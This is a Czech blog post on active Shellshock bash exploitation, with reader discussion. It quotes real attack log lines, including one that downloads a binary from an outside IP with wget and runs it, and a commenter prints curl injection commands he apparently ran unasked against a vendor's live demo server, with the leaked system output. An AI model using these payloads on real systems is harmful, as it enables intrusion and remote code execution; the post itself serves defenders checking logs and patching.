Útoky na bash už běží
Hodně se teď mluví o útoku na bash s názvem „shellshock“. Podle logů už běží útoky.
Ve středu jsme upozornili na chybu objevenou v bashi, která umožňuje spouštět vzdáleně terminálové příkazy a otevírá cestu k mnoha nepříjemnostem. Podrobnosti napsal výborně v pátek Ondřej Caletka, popsal celý problém a zmínil i možnosti zneužití.
Hodně se diskutuje o tom, jak moc je problém reálně zneužitelný, vzhledem k tomu, že vyžaduje dosti konkrétní podmínky konfigurace serveru (na rozdíl od staršího heartbleedu). Jisté ovšem jsou dvě věci: pokud je server děravý, potenciál je poměrně velký; útoky už běží.
Příklad z jednoho z mých serverů:
209.126.230.72 - - [25/Sep/2014:00:36:04 +0200] "GET / HTTP/1.0" 404 168 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
Tohle je test Roberta Grahama, o kterém psal i Ondra v článku. Tenhle je neškodný, ale horší je o tři dny mladší záznam:
70.42.149.67 - - [28/Sep/2014:08:16:29 +0200] "GET / HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22"
70.42.149.67 - - [28/Sep/2014:08:16:29 +0200] "GET /cgi-bin/test.sh HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22"
70.42.149.67 - - [28/Sep/2014:08:16:29 +0200] "GET /test HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22"
Opakuje se tu třikrát stejný pokus, jen na různé cesty na serveru. Postup je ale vždy stejný: stáhni exploit, učiň ho spustitelným, spusť ho a smaž. Hotovo. Čistá práce. To je důkaz toho, že to někdo zkouší úplně vážně, takže nejde o planou hrozbu. Záplatujte si to, vážně.
Kromě toho jsou tu i další „neškodné“ testy, které jen zkouší, jestli to funguje nebo ne. Například:
54.251.83.67 - - [29/Sep/2014:07:34:31 +0200] "GET / HTTP/1.1" 404 168 "-" "() { :;}; /bin/bash -c \x22echo testing9123123\x22; /bin/uname -a"
Pokud si chcete sami grepnout logy, hledejte následující sekvenci:
# grep '() {' /var/log/nginx/*
Pokud používáte logrotate a máte zagzipované starší logy, použijte místo grep příkaz zgrep.
-
Související články na blogu Petr Krčmář: blog nejen o Linuxu
-
Tip: šifrování souborů pomocí Vim 21. 2. 2014 20:48
-
Sběr osobních údajů aneb jak se hackuje Apple přes Amazon 7. 8. 2012 15:58
-
Proč není SuperChromePass v Chrome Store 11. 3. 2012 21:47
-
Blokování cookies na některých webech 7. 10. 2011 12:27
-
Je vykrádání FTP hesel řešitelné? 3. 5. 2010 9:12
-
Jak si do Chrome přidat kořenový certifikát 10. 4. 2010 0:06
-
-
Související články na ostatních blozích
-
WordPress zranitelnost v REST API je aktivně exploitována 7. 2. 2017 14:48
-
Top-10 bezpečnostních incidentů v srpnu 2016 2. 9. 2016 14:08
-
Odcizení přihlašovacích údajů k Windows jen pomocí webové stránky 4. 8. 2016 14:29
-
Top 10 bezpečnostních incidentů v červenci 2016 3. 8. 2016 13:41
-
Top-10 bezpečnostních incidentů v červnu 2016 1. 7. 2016 13:59
-
UK: ztracené peníze z Vašeho bankovního účtu? No, je to vaše vina 27. 5. 2016 16:02
-
-
Pavouk106 (neregistrovaný)
Ehm, pro blbce pořádně: Pokud ve svých log souborech mám některé ze zde zmíněných řádek (pominu-li shellshock-scan, který je tam také a se stejným výsledkem jako ostatní) a mám u všech těchto řádek error 403 (forbidden), jsem za vodou? Logika říká: "Ano", obava říká: "Buď klidně za blbce, ale zeptej se".
-
Martin (neregistrovaný)
ad 2) to je přece nesmysl! Výskyt v logu neříká o podstatě útoku nic, pouze to znamená, že někdo testoval nacpání obsahu do hlavičky Referer. Kdyby zkusil jiné hlavičky, nedozvíme se to!
Ani návratová hodnota neříká nic. Dotaz může klidně vyvolat volání existujícího skriptu, útok se povede, ale skript vrátí bezstarostně 403 nebo 404. Nic to neznamená!
Administrátor serveru si je buď jistý, že včas záplatoval, anebo si jistý není a pak mu žádný log nepomůže. Čisté řešení je server při pochybnostech okamžitě přeinstalovat z důvěryhodných zdrojů.
-
Pavouk106 (neregistrovaný)
Ok, jsem si jistej, že záplata tam v době zapsání do logu nebyla. Tím pádem musím server (domácí vlastní server, nic produkčního) považovat za úspěšně napadenej. Takže doporučení předpokládám budou znít: okamžitě odstavit a přeinstalovat... ? Kurňa, to se mi moc nehodí... Musim si o tom něco fofrem přečíst. Nejsem si vědom ani toho, že bych využíval CGI, ani system() funkce v PHP apod. Pokud to dobře chápu, samotný dodání refereru nic neznamená, pokud to nezpracoval nějakej skript... Jdu hledat a číst.
-
Vitek (neregistrovaný)
No pokud web server vraci na pokusy o hacknuti 403 - Not Authorized, tak se teda opravdu nemusite bat. Authentifikace & authorizace se ve vsech normalnich serverovych aplikacich provadi jeste pred tim nez se zacne neco delat....a shellshock je neskodny i s deravym shellem
A pokud mate nezabezpecenou historickou cgi apikaci pristupnou na volnem internetu ... tak uz vas urcite nekdo hacknul i pred objevenim shellshocku ...
-
prqek (neregistrovaný)
[6] Není to stoprocentní, ale pokud na tom serveru není nějaká další díra (třeba něco jako získání roota, když mám užívatele pod kterým běží webserver), tak by mělo stačit kouknout do logů a prověřit, jestli něco z těch pokusů vede na cgi, které spouští bash. Pokud ne, měl bys být v pohodě. Samozřejmě úspěšný útočník mohl logy promazat...
-
Pavouk106 (neregistrovaný)
Odstavil jsem na tom PC služby, restartoval a mrknul se po celý noci na vytížení a procesy. Procesy ok (může bejt upravenej ps), vytížení absolutně žádný (taky to může bejt podchycený). O bezpečnosti toho právě tak moc nevím a učím se až z takových věcí jako je tahle (vím, pozdě). Já svuj počítač budu dál považovat za bezpečnej, postupně obnovím služby a uvidíme.
Novej bash samozřejmě už mám ;-)
-
Tomáš Crhonek (neregistrovaný)
[3] [6]
To s tou přeinstalací systému myslíte vážně? Administrátor snad ví, zda má ve webserveru povolený modul cgi a snad ví, které skripty jsou přístupné z internetu.
Pokud je v logu apache "útok" (sorry, ale http request zaslaný na port webserveru opravdu nepovažuji za útok) na neexistující cestu (404 a request url), tak snad víte, zda na té cestě něco je (ať už přímo, nebo přes alias).
A i kdyby na té cestě něco bylo, tak to asi nebude bash cgi skript. A i kdyby byl, tak se útočník přinejhorším dostane pouze na omezený uživatelský účet webserveru (apache2, www-data, apod). A takový uživatel vám rozhodně systém nezničí.
Takže nešiřte nesmysly, OS není třeba přeinstalovávat.
Jestli máte obavu, tak smažte všechny soubory ve vlastnictví uživatele webserveru, odinstalujte webserver (metodou purge nebo podobnou, která smaže vše, co daný balíček vytvořil) a nainstalujte webserver znovu.
Konfiguraci a data obnovte se zálohy z data o kterém si myslíte, že ještě nebyl systém "napaden" a jste v klidu.
-
Lol Phirae (neregistrovaný)
14: No, s tím opravdu nic nenadělám. Předpokládám, že výpis dole se totálně rozsype.
# curl -sS -A "() { :; }; echo Content-Type: text/plain; echo; echo; /bin/date" http://demo.qnap.com:8080/cgi-bin/index.cgi
Tue Sep 30 08:43:35 BST 2014
Location:/cgi-bin/login.html?20140609# curl -sS -A "() { :; }; echo Content-Type: text/plain; echo; echo; /bin/uname -a" http://demo.qnap.com:8080/cgi-bin/index.cgi
Linux DemoSite 3.4.6 #1 SMP Mon Jun 9 10:17:41 CST 2014 x86_64 unknown
Location:/cgi-bin/login.html?20140609# curl -sS -A "() { :; }; echo Content-Type: text/plain; echo; echo; /bin/ip a s" http://demo.qnap.com:8080/cgi-bin/index.cgi
1: lo: mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
2: eth0: mtu 1500 qdisc pfifo_fast state DOWN qlen 1000
link/ether 00:08:9b:d3:72:74 brd ff:ff:ff:ff:ff:ff
3: eth2: mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 00:08:9b:d3:72:76 brd ff:ff:ff:ff:ff:ff
inet 192.168.100.116/24 brd 192.168.100.255 scope global eth2
4: eth3: mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 00:08:9b:d3:72:77 brd ff:ff:ff:ff:ff:ff
inet 211.78.89.107/27 brd 211.78.89.127 scope global eth3
5: eth1: mtu 1500 qdisc pfifo_fast state DOWN qlen 1000
link/ether 00:08:9b:d3:72:75 brd ff:ff:ff:ff:ff:ff
Location:/cgi-bin/login.html?20140609 -
Lol Phirae (neregistrovaný)
16. No, to máte pravdu, že by to lidi neměli kupovat. Pro upřesnění, výše uvedené výpis je z jejich demo serverů. Dvakrát jsem jim to vypnul, zase to zapnuli, aniž by se obtěžovali to zazáplatovat. Pak jsem jim poslal mail, na ten sice taky neodpověděli, ale předmětný server (viz výpis nahoře) je již opraven. Zbylé dva jsou nedostupné, asi je nemá kdo zapnout. :-D
-
Lol Phirae (neregistrovaný)
19. No, toto už je méně pěkné: http://www.fireeye.com/blog/technical/2014/10/the-shellshock-aftershock-for-nas-administrators.html
Takže, skutečně nekupovat. :-D
-
Trident (neregistrovaný)
[16][17][20] Pak je otazka co vlastne kupovat. Synology je vic uzavrene nepekna vec zlo. Asi bych si neco postavil, ale musel bych z toho mit nejake penize bokem jinak se mi to nevyplati jen pro mou potechu. Takhle mam hotove reseni a nemusim nad tim ztracet cas. Mohu se venovat vecem v zivote ktere jsou dulezitejsi.
QNAP prochazi bourlivym vyvojem. Jakmile vydim nejaky agresivni frikulinsky pokrok jako tam, tak normalne zbystrim a neverim tomu. Ono udelat veci bezpecne a zaroven hned neni sranda.
Za VPN koncentratorem mam NASku stejne jako ostatni domaci neduveryhodne zmetky pripojene k siti. Predstava ze nekdo kvuli nejakymu pupikovi z vesnice opatchuje system domaci automatizace, cinske kamery a webovy xychtik managementu stareho serveru je zcestna.
Pro mne je podstatne, ze kdyz mne z QNAPu nastvou, tak si tam nainstaluju debiana(dle wiki) a celkem to moc nezere.
Zatim je to pro mne fungujici reseni.Spise jsem resil vice to ze mi isp vystavil management spoje ven(samozrejme scany uz bezi mesice a xycht ve vxworks muze vsechno). Dale napadnutelnost toho VPN koncentratoru.
Oni drahe komercni produkty na tom nejsou o moc lepe a pocita se s tim ze tam bude vice urovni ochrany nad tim. Je to uz dva roky kdy jsme nemeli v praci vyjimecne ceho pichnout, nebot t-systems nekde prekopli opticky kabel. A tak jedine co se dalo hackovat byly ip telefony a ip ustredna od jednoho nejmenovaneho velkeho vyrobce lokomotiv.
-
Lol Phirae (neregistrovaný)
21: Už ty krabice nechci ani vidět. Pokud chci někam instalovat Debian, tak koupím normální (micro)server, kam si nainstaluju co chci a kdy chci, bez omezení tím, že to buď nemá BIOS vůbec (ARM), nebo že to má BIOS dojebaný výrobcem NAS, že to bootuje z nějakého DOM nesmyslu apod. Navíc ty ceny jsou u standardního značkového serveru úplně někde jinde, ty výrobci NAS asi fakt spadli z jahody naznak nebo co, nechápu. O univerzálnosti a rozšiřitelnosti ani nemluvě. Jinak s QNAPem si již před týden emailuju, dnes se snad konečně uráčí vypnout jejich cloud/DynDNS pro lidi s děravým firmwarem. Opravdu "rychlá" reakce - mezitím jsem prostými náhodnými DNS dotazy těch děravých krabic našel během max. hodiny desítky. Ten jejich cloud pro dementy je vůbec skvělá věc, UPnP featura např. naprosto zbytečně forwarduje věci jako SSH.
